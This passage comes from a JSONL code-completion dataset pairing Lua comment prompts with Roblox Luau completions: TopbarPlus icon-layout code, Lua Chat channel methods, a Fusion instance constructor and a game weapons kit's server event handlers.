do\n\t\t\t\t\t\t\t\t\t\tdIcon:leave()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tendIcon:setMenu(iconsToConvert)\n\t\t\t\t\t\t\t\t\tif wasSelected and overflowIcon.isSelected then\n\t\t\t\t\t\t\t\t\t\tendIcon:select()\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tif endIcon.hovering then\n\t\t\t\t\t\t\t\t\tendIcon.wasHoveringBeforeOverflow = true\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tendIcon:join(overflowIcon, \"dropdown\")\n\t\t\t\t\t\t\t\tif #endIcon.menuIcons > 0 and endIcon.menuOpen then\n\t\t\t\t\t\t\t\t\tendIcon:deselect()\n\t\t\t\t\t\t\t\t\tendIcon:select()\n\t\t\t\t\t\t\t\t\toverflowIcon:select()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\t-- This checks to see if the lowest/highest (depending on left/right) ordered overlapping icon is no longer overlapping, removes from the dropdown, and repeats if valid\n\t\t\t\t\tlocal winningOrder, winningOverlappedIcon\n\t\t\t\t\tlocal totalOverlappingIcons = #overflowIcon.dropdownIcons\n\t\t\t\t\tif\n\t\t\t\t\t\tnot (\n\t\t\t\t\t\t\toppositeOverflowIcon\n\t\t\t\t\t\t\tand oppositeOverflowIcon.enabled\n\t\t\t\t\t\t\tand #alignmentInfo.records == 1\n\t\t\t\t\t\t\tand #oppositeAlignmentInfo.records ~= 1\n\t\t\t\t\t\t)\n\t\t\t\t\tthen\n\t\t\t\t\t\tfor _, overlappedIcon in pairs(overflowIcon.dropdownIcons) do\n\t\t\t\t\t\t\tlocal iconOrder = overlappedIcon:get(\"order\")\n\t\t\t\t\t\t\tif\n\t\t\t\t\t\t\t\twinningOverlappedIcon == nil\n\t\t\t\t\t\t\t\tor (alignment == \"left\" and iconOrder < winningOrder)\n\t\t\t\t\t\t\t\tor (alignment == \"right\" and iconOrder > winningOrder)\n\t\t\t\t\t\t\tthen\n\t\t\t\t\t\t\t\twinningOrder = iconOrder\n\t\t\t\t\t\t\t\twinningOverlappedIcon = overlappedIcon\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tif winningOverlappedIcon then\n\t\t\t\t\t\tlocal sizeX = getSizeX(winningOverlappedIcon, true)\n\t\t\t\t\t\tlocal myForesightBoundaryX = getBoundaryX(overflowIcon, oppositeAlignment)\n\t\t\t\t\t\tif totalOverlappingIcons == 1 then\n\t\t\t\t\t\t\tmyForesightBoundaryX = getBoundaryX(overflowIcon, alignment, alignmentGap - START_LEEWAY)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal availableGap = math.abs(closestBoundaryX - myForesightBoundaryX) - (alignmentGap * 2)\n\t\t\t\t\t\tlocal noLongerExeeds = (sizeX < availableGap)\n\t\t\t\t\t\tif noLongerExeeds then\n\t\t\t\t\t\t\tif #overflowIcon.dropdownIcons == 1 then\n\t\t\t\t\t\t\t\toverflowIcon:setEnabled(false)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal overflowContainer = overflowIcon.instances.iconContainer\n\t\t\t\t\t\t\tlocal yPos = overflowContainer.Position.Y\n\t\t\t\t\t\t\toverflowContainer.Position = UDim2.new(0, myForesightBoundaryX, yPos.Scale, yPos.Offset)\n\t\t\t\t\t\t\twinningOverlappedIcon:leave()\n\t\t\t\t\t\t\twinningOverlappedIcon.wasHoveringBeforeOverflow = nil\n\t\t\t\t\t\t\t--\n\t\t\t\t\t\t\tif winningOverlappedIcon._overflowConvertedToMenu then\n\t\t\t\t\t\t\t\twinningOverlappedIcon._overflowConvertedToMenu = nil\n\t\t\t\t\t\t\t\tlocal iconsToConvert = {}\n\t\t\t\t\t\t\t\tfor _, dIcon in pairs(winningOverlappedIcon.menuIcons) do\n\t\t\t\t\t\t\t\t\ttable.insert(iconsToConvert, dIcon)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tfor _, dIcon in pairs(winningOverlappedIcon.menuIcons) do\n\t\t\t\t\t\t\t\t\tdIcon:leave()\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\twinningOverlappedIcon:setDropdown(iconsToConvert)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t--\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t--------\n\t\tif requestedTopbarUpdate then\n\t\t\trequestedTopbarUpdate = false\n\t\t\tIconController.updateTopbar()\n\t\tend\n\t\treturn true\n\tend)()\nend\n\nfunction IconController.setTopbarEnabled(bool, forceBool)\n\tif forceBool == nil then\n\t\tforceBool = true\n\tend\n\tlocal indicator = TopbarPlusGui.Indicator\n\tif forceBool and not bool then\n\t\tforceTopbarDisabled = true\n\telseif forceBool and bool then\n\t\tforceTopbarDisabled = false\n\tend\n\tlocal topbarEnabledAccountingForMimic = checkTopbarEnabledAccountingForMimic()\n\tif IconController.controllerModeEnabled then\n\t\tif bool then\n\t\t\tif\n\t\t\t\tTopbarPlusGui.TopbarContainer.Visible\n\t\t\t\tor forceTopbarDisabled\n\t\t\t\tor menuOpen\n\t\t\t\tor not topbarEnabledAccountingForMimic\n\t\t\tthen\n\t\t\t\treturn\n\t\t\tend\n\t\t\tif forceBool then\n\t\t\t\tindicator.Visible = topbarEnabledAccountingForMimic\n\t\t\telse\n\t\t\t\tif\n\t\t\t\t\thapticService:IsVibrationSupported(Enum.UserInputType.Gamepad1)\n\t\t\t\t\tand hapticService:IsMotorSupported(Enum.UserInputType.Gamepad1, Enum.VibrationMotor.Small)\n\t\t\t\tthen\n\t\t\t\t\thapticService:SetMotor(Enum.UserInputType.Gamepad1, Enum.VibrationMotor.Small, 1)\n\t\t\t\t\tdelay(0.2, function()\n\t\t\t\t\t\tpcall(function()\n\t\t\t\t\t\t\thapticService:SetMotor(Enum.UserInputType.Gamepad1, Enum.VibrationMotor.Small, 0)\n\t\t\t\t\t\tend)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\tTopbarPlusGui.TopbarContainer.Visible = true\n\t\t\t\tTopbarPlusGui.TopbarContainer:TweenPosition(\n\t\t\t\t\tUDim2.new(0, 0, 0, 5 + STUPID_CONTROLLER_OFFSET),\n\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t\t0.1,\n\t\t\t\t\ttrue\n\t\t\t\t)\n\n\t\t\t\tlocal selectIcon\n\t\t\t\tlocal targetOffset = 0\n\t\t\t\tIconController:_updateSelectionGroup()\n\t\t\t\trunService.Heartbeat:Wait()\n\t\t\t\tlocal indicatorSizeTrip = 50 --indicator.AbsoluteSize.Y * 2\n\t\t\t\tfor otherIcon, _ in pairs(topbarIcons) do\n\t\t\t\t\tif\n\t\t\t\t\t\tIconController.canShowIconOnTopbar(otherIcon)\n\t\t\t\t\t\tand (selectIcon == nil or otherIcon:get(\"order\") > selectIcon:get(\"order\"))\n\t\t\t\t\tthen\n\t\t\t\t\t\tselectIcon = otherIcon\n\t\t\t\t\tend\n\t\t\t\t\tlocal container = otherIcon.instances.iconContainer\n\t\t\t\t\tlocal newTargetOffset = -27 + container.AbsoluteSize.Y + indicatorSizeTrip\n\t\t\t\t\tif newTargetOffset > targetOffset then\n\t\t\t\t\t\ttargetOffset = newTargetOffset\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif guiService:GetEmotesMenuOpen() then\n\t\t\t\t\tguiService:SetEmotesMenuOpen(false)\n\t\t\t\tend\n\t\t\t\tif guiService:GetInspectMenuEnabled() then\n\t\t\t\t\tguiService:CloseInspectMenu()\n\t\t\t\tend\n\t\t\t\tlocal newSelectedObject = IconController._previousSelectedObject or selectIcon.instances.iconButton\n\t\t\t\tIconController._setControllerSelectedObject(newSelectedObject)\n\t\t\t\tindicator.Image = \"rbxassetid://5278151071\"\n\t\t\t\tindicator:TweenPosition(\n\t\t\t\t\tUDim2.new(0.5, 0, 0, targetOffset + STUPID_CONTROLLER_OFFSET),\n\t\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t\t0.1,\n\t\t\t\t\ttrue\n\t\t\t\t)\n\t\t\tend\n\t\telse\n\t\t\tif forceBool then\n\t\t\t\tindicator.Visible = false\n\t\t\telse\n\t\t\t\tindicator.Visible = topbarEnabledAccountingForMimic\n\t\t\tend\n\t\t\tif not TopbarPlusGui.TopbarContainer.Visible then\n\t\t\t\treturn\n\t\t\tend\n\t\t\tguiService.AutoSelectGuiEnabled = true\n\t\t\tIconController:_updateSelectionGroup(true)\n\t\t\tTopbarPlusGui.TopbarContainer:TweenPosition(\n\t\t\t\tUDim2.new(0, 0, 0, -TopbarPlusGui.TopbarContainer.Size.Y.Offset + STUPID_CONTROLLER_OFFSET),\n\t\t\t\tEnum.EasingDirection.Out,\n\t\t\t\tEnum.EasingStyle.Quad,\n\t\t\t\t0.1,\n\t\t\t\ttrue,\n\t\t\t\tfunction()\n\t\t\t\t\tTopbarPlusGui.TopbarContainer.Visible = false\n\t\t\t\tend\n\t\t\t)\n\t\t\tindicator.Image = \"rbxassetid://5278151556\"\n\t\t\tindicator:TweenPosition(UDim2.new(0.5, 0, 0, 5), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, 0.1, true)\n\t\tend\n\telse\n\t\tlocal topbarContainer = TopbarPlusGui.TopbarContainer\n\t\tif topbarEnabledAccountingForMimic then\n\t\t\ttopbarContainer.Visible = bool\n\t\telse\n\t\t\ttopbarContainer.Visible = false\n\t\tend\n\tend\nend\n\nfunction IconController.setGap(value, alignment)\n\tlocal newValue = tonumber(value) or 12\n\tlocal newAlignment = tostring(alignment):lower()\n\tif newAlignment == \"left\" or newAlignment == \"mid\" or newAlignment == \"right\" then\n\t\tIconController[newAlignment .. \"Gap\"] = newValue\n\t\tIconController.updateTopbar()\n\t\treturn\n\tend\n\tIconController.leftGap = newValue\n\tIconController.midGap = newValue\n\tIconController.rightGap = newValue\n\tIconController.updateTopbar()\nend\n\nfunction IconController.setLeftOffset(value)\n\tIconController.leftOffset = tonumber(value) or 0\n\tIconController.updateTopbar()\nend\n\nfunction IconController.setRightOffset(value)\n\tIconController.rightOffset = tonumber(value) or 0\n\tIconController.updateTopbar()\nend\n\nlocal localPlayer = players.LocalPlayer\nlocal iconsToClearOnSpawn = {}\nlocalPlayer.CharacterAdded:Connect(function()\n\tfor _, icon in pairs(iconsToClearOnSpawn) do\n\t\ticon:destroy()\n\tend\n\ticonsToClearOnSpawn = {}\nend)\nfunction IconController.clearIconOnSpawn(icon)\n\tcoroutine.wrap(function()\n\t\tlocal char = localPlayer.Character or localPlayer.CharacterAdded:Wait()\n\t\ttable.insert(iconsToClearOnSpawn, icon)\n\tend)()\nend\n"} +{"prompt": "--////////////////////////////// Methods\n--//////////////////////////////////////", "completion": "\n\nlocal methods = {}\nmethods.__index = methods\n\nfunction methods:SendSystemMessage(message, extraData)\n\tlocal messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)\n\n\tlocal success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)\n\tif not success and err then\n\t\tprint(\"Error posting message: \" ..err)\n\tend\n\n\tself:InternalAddMessageToHistoryLog(messageObj)\n\n\tfor i, speaker in pairs(self.Speakers) do\n\t\tspeaker:InternalSendSystemMessage(messageObj, self.Name)\n\tend\n\n\treturn messageObj\nend\n\nfunction methods:SendSystemMessageToSpeaker(message, speakerName, extraData)\n\tlocal speaker = self.Speakers[speakerName]\n\tif (speaker) then\n\t\tlocal messageObj = self:InternalCreateMessageObject(message, nil, true, extraData)\n\t\tspeaker:InternalSendSystemMessage(messageObj, self.Name)\n\telseif RunService:IsStudio() then\n\t\twarn(string.format(\"Speaker '%s' is not in channel '%s' and cannot be sent a system message\", speakerName, self.Name))\n\tend\nend\n\nfunction methods:SendMessageObjToFilters(message, messageObj, fromSpeaker)\n\tlocal oldMessage = messageObj.Message\n\tmessageObj.Message = message\n\tself:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)\n\tself.ChatService:InternalDoMessageFilter(fromSpeaker.Name, messageObj, self.Name)\n\tlocal newMessage = messageObj.Message\n\tmessageObj.Message = oldMessage\n\treturn newMessage\nend\n\nfunction methods:CanCommunicateByUserId(userId1, userId2)\n\tif RunService:IsStudio() then\n\t\treturn true\n\tend\n\t-- UserId is set as 0 for non player speakers.\n\tif userId1 == 0 or userId2 == 0 then\n\t\treturn true\n\tend\n\tlocal success, canCommunicate = pcall(function()\n\t\treturn Chat:CanUsersChatAsync(userId1, userId2)\n\tend)\n\treturn success and canCommunicate\nend\n\nfunction methods:CanCommunicate(speakerObj1, speakerObj2)\n\tlocal player1 = speakerObj1:GetPlayer()\n\tlocal player2 = speakerObj2:GetPlayer()\n\tif player1 and player2 then\n\t\treturn self:CanCommunicateByUserId(player1.UserId, player2.UserId)\n\tend\n\treturn true\nend\n\nfunction methods:SendMessageToSpeaker(message, speakerName, fromSpeakerName, extraData)\n\tlocal speakerTo = self.Speakers[speakerName]\n\tlocal speakerFrom = self.ChatService:GetSpeaker(fromSpeakerName)\n\tif speakerTo and speakerFrom then\n\t\tlocal isMuted = speakerTo:IsSpeakerMuted(fromSpeakerName)\n\t\tif isMuted then\n\t\t\treturn\n\t\tend\n\n\t\tif not self:CanCommunicate(speakerTo, speakerFrom) then\n\t\t\treturn\n\t\tend\n\n\t\t-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.\n\t\tlocal isFiltered = speakerName == fromSpeakerName\n\t\tlocal messageObj = self:InternalCreateMessageObject(message, fromSpeakerName, isFiltered, extraData)\n\t\tmessage = self:SendMessageObjToFilters(message, messageObj, fromSpeakerName)\n\t\tspeakerTo:InternalSendMessage(messageObj, self.Name)\n\n\t\tlocal textContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat\n\t\tlocal filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(\n\t\t\tmessageObj.FromSpeaker,\n\t\t\tmessage,\n\t\t\ttextContext\n\t\t)\n\t\tif (filterSuccess) then\n\t\t\tmessageObj.FilterResult = filteredMessage\n\t\t\tmessageObj.IsFilterResult = isFilterResult\n\t\t\tmessageObj.IsFiltered = true\n\t\t\tspeakerTo:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)\n\t\tend\n\telseif RunService:IsStudio() then\n\t\twarn(string.format(\"Speaker '%s' is not in channel '%s' and cannot be sent a message\", speakerName, self.Name))\n\tend\nend\n\nfunction methods:KickSpeaker(speakerName, reason)\n\tlocal speaker = self.ChatService:GetSpeaker(speakerName)\n\tif (not speaker) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" does not exist!\")\n\tend\n\n\tlocal messageToSpeaker = \"\"\n\tlocal messageToChannel = \"\"\n\n\tif (reason) then\n\t\tmessageToSpeaker = string.format(\"You were kicked from '%s' for the following reason(s): %s\", self.Name, reason)\n\t\tmessageToChannel = string.format(\"%s was kicked for the following reason(s): %s\", speakerName, reason)\n\telse\n\t\tmessageToSpeaker = string.format(\"You were kicked from '%s'\", self.Name)\n\t\tmessageToChannel = string.format(\"%s was kicked\", speakerName)\n\tend\n\n\tself:SendSystemMessageToSpeaker(messageToSpeaker, speakerName)\n\tspeaker:LeaveChannel(self.Name)\n\tself:SendSystemMessage(messageToChannel)\nend\n\nfunction methods:MuteSpeaker(speakerName, reason, length)\n\tlocal speaker = self.ChatService:GetSpeaker(speakerName)\n\tif (not speaker) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" does not exist!\")\n\tend\n\n\tself.Mutes[speakerName:lower()] = (length == 0 or length == nil) and 0 or (os.time() + length)\n\n\tif (reason) then\n\t\tself:SendSystemMessage(string.format(\"%s was muted for the following reason(s): %s\", speakerName, reason))\n\tend\n\n\tlocal success, err = pcall(function() self.eSpeakerMuted:Fire(speakerName, reason, length) end)\n\tif not success and err then\n\t\tprint(\"Error mutting speaker: \" ..err)\n\tend\n\n\tlocal spkr = self.ChatService:GetSpeaker(speakerName)\n\tif (spkr) then\n\t\tlocal success, err = pcall(function() spkr.eMuted:Fire(self.Name, reason, length) end)\n\t\tif not success and err then\n\t\t\tprint(\"Error mutting speaker: \" ..err)\n\t\tend\n\tend\n\nend\n\nfunction methods:UnmuteSpeaker(speakerName)\n\tlocal speaker = self.ChatService:GetSpeaker(speakerName)\n\tif (not speaker) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" does not exist!\")\n\tend\n\n\tself.Mutes[speakerName:lower()] = nil\n\n\tlocal success, err = pcall(function() self.eSpeakerUnmuted:Fire(speakerName) end)\n\tif not success and err then\n\t\tprint(\"Error unmuting speaker: \" ..err)\n\tend\n\n\tlocal spkr = self.ChatService:GetSpeaker(speakerName)\n\tif (spkr) then\n\t\tlocal success, err = pcall(function() spkr.eUnmuted:Fire(self.Name) end)\n\t\tif not success and err then\n\t\t\tprint(\"Error unmuting speaker: \" ..err)\n\t\tend\n\tend\nend\n\nfunction methods:IsSpeakerMuted(speakerName)\n\treturn (self.Mutes[speakerName:lower()] ~= nil)\nend\n\nfunction methods:GetSpeakerList()\n\tlocal list = {}\n\tfor i, speaker in pairs(self.Speakers) do\n\t\ttable.insert(list, speaker.Name)\n\tend\n\treturn list\nend\n\nfunction methods:RegisterFilterMessageFunction(funcId, func, priority)\n\tif self.FilterMessageFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"FilterMessageFunction '%s' already exists\", funcId))\n\tend\n\tself.FilterMessageFunctions:AddFunction(funcId, func, priority)\nend\n\nfunction methods:FilterMessageFunctionExists(funcId)\n\treturn self.FilterMessageFunctions:HasFunction(funcId)\nend\n\nfunction methods:UnregisterFilterMessageFunction(funcId)\n\tif not self.FilterMessageFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"FilterMessageFunction '%s' does not exists\", funcId))\n\tend\n\tself.FilterMessageFunctions:RemoveFunction(funcId)\nend\n\nfunction methods:RegisterProcessCommandsFunction(funcId, func, priority)\n\tif self.ProcessCommandsFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"ProcessCommandsFunction '%s' already exists\", funcId))\n\tend\n\tself.ProcessCommandsFunctions:AddFunction(funcId, func, priority)\nend\n\nfunction methods:ProcessCommandsFunctionExists(funcId)\n\treturn self.ProcessCommandsFunctions:HasFunction(funcId)\nend\n\nfunction methods:UnregisterProcessCommandsFunction(funcId)\n\tif not self.ProcessCommandsFunctions:HasFunction(funcId) then\n\t\terror(string.format(\"ProcessCommandsFunction '%s' does not exist\", funcId))\n\tend\n\tself.ProcessCommandsFunctions:RemoveFunction(funcId)\nend\n\nlocal function ShallowCopy(table)\n\tlocal copy = {}\n\tfor i, v in pairs(table) do\n\t\tcopy[i] = v\n\tend\n\treturn copy\nend\n\nfunction methods:GetHistoryLog()\n\treturn ShallowCopy(self.ChatHistory)\nend\n\nfunction methods:GetHistoryLogForSpeaker(speaker)\n\tlocal userId = -1\n\tlocal player = speaker:GetPlayer()\n\tif player then\n\t\tuserId = player.UserId\n\tend\n\tlocal chatlog = {}\n\n\tfor i = 1, #self.ChatHistory do\n\t\tlocal logUserId = self.ChatHistory[i].SpeakerUserId\n\t\tif self:CanCommunicateByUserId(userId, logUserId) then\n\t\t\tlocal messageObj = ShallowCopy(self.ChatHistory[i])\n\n\t\t\t--// Since we're using the new filter API, we need to convert the stored filter result\n\t\t\t--// into an actual string message to send to players for their chat history.\n\t\t\t--// System messages aren't filtered the same way, so they just have a regular \n\t\t\t--// text value in the Message field.\n\t\t\tif (messageObj.MessageType == ChatConstants.MessageTypeDefault or messageObj.MessageType == ChatConstants.MessageTypeMeCommand) then\n\t\t\t\tlocal filterResult = messageObj.FilterResult\n\t\t\t\tif (messageObj.IsFilterResult) then\n\t\t\t\t\tif (player) then\n\t\t\t\t\t\tmessageObj.Message = filterResult:GetChatForUserAsync(player.UserId)\n\t\t\t\t\telse\n\t\t\t\t\t\tmessageObj.Message = filterResult:GetNonChatStringForBroadcastAsync()\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tmessageObj.Message = filterResult\n\t\t\t\tend\n\t\t\tend\n\n\t\t\ttable.insert(chatlog, messageObj)\n\t\tend\n\tend\n\treturn chatlog\nend\n"} +{"prompt": "--// Events", "completion": "\nlocal L_33_ = L_7_:WaitForChild('Equipped')\nlocal L_34_ = L_7_:WaitForChild('ShootEvent')\nlocal L_35_ = L_7_:WaitForChild('DamageEvent')\nlocal L_36_ = L_7_:WaitForChild('CreateOwner')\nlocal L_37_ = L_7_:WaitForChild('Stance')\nlocal L_38_ = L_7_:WaitForChild('HitEvent')\nlocal L_39_ = L_7_:WaitForChild('KillEvent')\nlocal L_40_ = L_7_:WaitForChild('AimEvent')\nlocal L_41_ = L_7_:WaitForChild('ExploEvent')\nlocal L_42_ = L_7_:WaitForChild('AttachEvent')\nlocal L_43_ = L_7_:WaitForChild('ServerFXEvent')\nlocal L_44_ = L_7_:WaitForChild('ChangeIDEvent')\n"} +{"prompt": "--[[\n\tConstructs and returns a new instance, with options for setting properties,\n\tevent handlers and other attributes on the instance right away.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal PubTypes = require(Package.PubTypes)\nlocal defaultProps = require(Package.Instances.defaultProps)\nlocal applyInstanceProps = require(Package.Instances.applyInstanceProps)\nlocal logError= require(Package.Logging.logError)\n\nlocal function New(className: string)\n\treturn function(props: PubTypes.PropertyTable): Instance\n\t\tlocal ok, instance = pcall(Instance.new, className)\n\n\t\tif not ok then\n\t\t\tlogError(\"cannotCreateClass\", nil, className)\n\t\tend\n\n\t\tlocal classDefaults = defaultProps[className]\n\t\tif classDefaults ~= nil then\n\t\t\tfor defaultProp, defaultValue in pairs(classDefaults) do\n\t\t\t\tinstance[defaultProp] = defaultValue\n\t\t\tend\n\t\tend\n\n\t\tapplyInstanceProps(props, instance)\n\n\t\treturn instance\n\tend\nend\n\nreturn New\n"} +{"prompt": "----------------------------------------------------------------------------------------\n----------------------------------------------------------------------------------------\n----------------------------------------------------------------------------------------", "completion": "\n\n\nlocal BulletModel = ACS_Storage.Server\n\n\ngame.Players.PlayerAdded:connect(function(SKP_001)\t\nSKP_001.CharacterAppearanceLoaded:Connect(function(SKP_002)\n\n\tfor SKP_003, SKP_004 in pairs(Engine.Essential:GetChildren()) do\n\t\t\tif SKP_004 then\n\t\t\t\tlocal SKP_005 = SKP_004:clone()\n\t\t\t\tSKP_005.Parent = SKP_001.PlayerGui\n\t\t\t\tSKP_005.Disabled = false\n\t\t\tend\n\t\tend\n\n\tif SKP_001.Character:FindFirstChild('Head') then\n\t\tEvt.TeamTag:FireAllClients(SKP_001, SKP_002)\n\tend\nend)\n\n\tSKP_001.Changed:connect(function()\n\t\tEvt.TeamTag:FireAllClients(SKP_001)\n\tend)\n\nend)\n\nfunction Weld(SKP_001, SKP_002, SKP_003, SKP_004)\n\tlocal SKP_005 = Instance.new(\"Motor6D\", SKP_001)\n\tSKP_005.Part0 = SKP_001\n\tSKP_005.Part1 = SKP_002\n\tSKP_005.Name = SKP_001.Name\n\tSKP_005.C0 = SKP_003 or SKP_001.CFrame:inverse() * SKP_002.CFrame\n\tSKP_005.C1 = SKP_004 or CFrame.new()\n\treturn SKP_005\nend\n\n\nEvt.Recarregar.OnServerEvent:Connect(function(Player, StoredAmmo,Arma)\n\tArma.ACS_Modulo.Variaveis.StoredAmmo.Value = StoredAmmo\nend)\n\nEvt.Treino.OnServerEvent:Connect(function(Player, Vitima)\n\n\tif Vitima.Parent:FindFirstChild(\"Saude\") ~= nil then\n\tlocal saude = Vitima.Parent.Saude\n\t\tsaude.Variaveis.HitCount.Value = saude.Variaveis.HitCount.Value + 1\n\tend\n\nend)\n\nEvt.SVFlash.OnServerEvent:Connect(function(Player,Mode,Arma,Angle,Bright,Color,Range)\nif ServerConfig.ReplicatedFlashlight then\n\tEvt.SVFlash:FireAllClients(Player,Mode,Arma,Angle,Bright,Color,Range)\n\tend\nend)\n\nEvt.SVLaser.OnServerEvent:Connect(function(Player,Position,Modo,Cor,Arma,IRmode)\n\tif ServerConfig.ReplicatedLaser then\n\tEvt.SVLaser:FireAllClients(Player,Position,Modo,Cor,Arma,IRmode)\n\tend\n\t--print(Player,Position,Modo,Cor)\nend)\n\nEvt.Breach.OnServerEvent:Connect(function(Player,Mode,BreachPlace,Pos,Norm,Hit)\n\t\n\tif Mode == 1 then\n\tPlayer.Character.Saude.Kit.BreachCharges.Value = Player.Character.Saude.Kit.BreachCharges.Value - 1\n\tBreachPlace.Destroyed.Value = true\n\tlocal C4 = Engine.FX.BreachCharge:Clone()\n\n\tC4.Parent = BreachPlace.Destroyable\n\tC4.Center.CFrame = CFrame.new(Pos, Pos + Norm) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))\n\tC4.Center.Place:play()\n\n\tlocal weld = Instance.new(\"WeldConstraint\")\n\tweld.Parent = C4\n\tweld.Part0 = BreachPlace.Destroyable.Charge\n\tweld.Part1 = C4.Center\n\n\twait(1)\n\tC4.Center.Beep:play()\n\twait(4)\n\tlocal Exp = Instance.new(\"Explosion\")\n\t\tExp.BlastPressure = 0\n\t\tExp.BlastRadius = 0\n\t\tExp.DestroyJointRadiusPercent = 0\n\t\tExp.Position = C4.Center.Position\n\t\tExp.Parent = workspace\n\t\n\tlocal S = Instance.new(\"Sound\")\n\t\tS.EmitterSize = 50\n\t\tS.MaxDistance = 1500\n\t\tS.SoundId = \"rbxassetid://\".. Explosion[math.random(1, 7)]\n\t\tS.PlaybackSpeed = math.random(30,55)/40\n\t\tS.Volume = 2\n\t\tS.Parent = Exp\n\t\tS.PlayOnRemove = true\n\t\tS:Destroy()\n\n\t--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do\n\t\tif SKP_002:IsA('Player') and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - C4.Center.Position).magnitude <= 15 then\n\t\t\tlocal DistanceMultiplier = (((SKP_002.Character.Head.Position - C4.Center.Position).magnitude/25) - 1) * -1\n\t\t\tlocal intensidade = DistanceMultiplier\n\t\t\tlocal Tempo = 15 * DistanceMultiplier\n\t\t\tEvt.Suppression:FireClient(SKP_002,2,intensidade,Tempo)\n\t\tend\n\tend\t]]\n\n\tDebris:AddItem(BreachPlace.Destroyable,0)\n\telseif Mode == 2 then\n\n\tPlayer.Character.Saude.Kit.BreachCharges.Value = Player.Character.Saude.Kit.BreachCharges.Value - 1\n\tBreachPlace.Destroyed.Value = true\n\tlocal C4 = Engine.FX.BreachCharge:Clone()\n\n\tC4.Parent = BreachPlace\n\tC4.Center.CFrame = CFrame.new(Pos, Pos + Norm) * CFrame.Angles(math.rad(-90),math.rad(0),math.rad(0))\n\tC4.Center.Place:play()\n\n\tlocal weld = Instance.new(\"WeldConstraint\")\n\tweld.Parent = C4\n\tweld.Part0 = BreachPlace.Door.Door\n\tweld.Part1 = C4.Center\n\n\twait(1)\n\tC4.Center.Beep:play()\n\twait(4)\n\tlocal Exp = Instance.new(\"Explosion\")\n\t\tExp.BlastPressure = 0\n\t\tExp.BlastRadius = 0\n\t\tExp.DestroyJointRadiusPercent = 0\n\t\tExp.Position = C4.Center.Position\n\t\tExp.Parent = workspace\n\t\n\tlocal S = Instance.new(\"Sound\")\n\t\tS.EmitterSize = 50\n\t\tS.MaxDistance = 1500\n\t\tS.SoundId = \"rbxassetid://\".. Explosion[math.random(1, 7)]\n\t\tS.PlaybackSpeed = math.random(30,55)/40\n\t\tS.Volume = 2\n\t\tS.Parent = Exp\n\t\tS.PlayOnRemove = true\n\t\tS:Destroy()\n\n\t--[[for SKP_001, SKP_002 in pairs(game.Players:GetChildren()) do\n\t\tif SKP_002:IsA('Player') and SKP_002.Character and SKP_002.Character:FindFirstChild('Head') and (SKP_002.Character.Head.Position - C4.Center.Position).magnitude <= 15 then\n\t\t\tlocal DistanceMultiplier = (((SKP_002.Character.Head.Position - C4.Center.Position).magnitude/25) - 1) * -1\n\t\t\tlocal intensidade = DistanceMultiplier\n\t\t\tlocal Tempo = 15 * DistanceMultiplier\n\t\t\tEvt.Suppression:FireClient(SKP_002,2,intensidade,Tempo)\n\t\tend\n\tend]]\t\n\n\tDebris:AddItem(BreachPlace,0)\n\n\telseif Mode == 3 then\n\n\tPlayer.Character.Saude.Kit.Fortifications.Value = Player.Character.Saude.Kit.Fortifications.Value - 1\n\tBreachPlace.Fortified.Value = true\n\tlocal C4 = Instance.new('Part')\n\n\tC4.Parent = BreachPlace.Destroyable\n\tC4.Size = Vector3.new(Hit.Size.X + .05,Hit.Size.Y + .05,Hit.Size.Z + 0.5) \n\tC4.Material = Enum.Material.DiamondPlate\n\tC4.Anchored = true\n\tC4.CFrame = Hit.CFrame\n\n\tlocal S = Engine.FX.FortFX:Clone()\n\t\tS.PlaybackSpeed = math.random(30,55)/40\n\t\tS.Volume = 1\n\t\tS.Parent = C4\n\t\tS.PlayOnRemove = true\n\t\tS:Destroy()\n\t\n\tend\nend)\n\nEvt.Hit.OnServerEvent:Connect(function(Player, Position, HitPart, Normal, Material, Settings)\t\n\n\n\tEvt.Hit:FireAllClients(Player, Position, HitPart, Normal, Material, Settings)\n\n\tif Settings.ExplosiveHit == true then\n\n\t\tlocal Hitmark = Instance.new(\"Attachment\")\n\t\t\tHitmark.CFrame = CFrame.new(Position, Position + 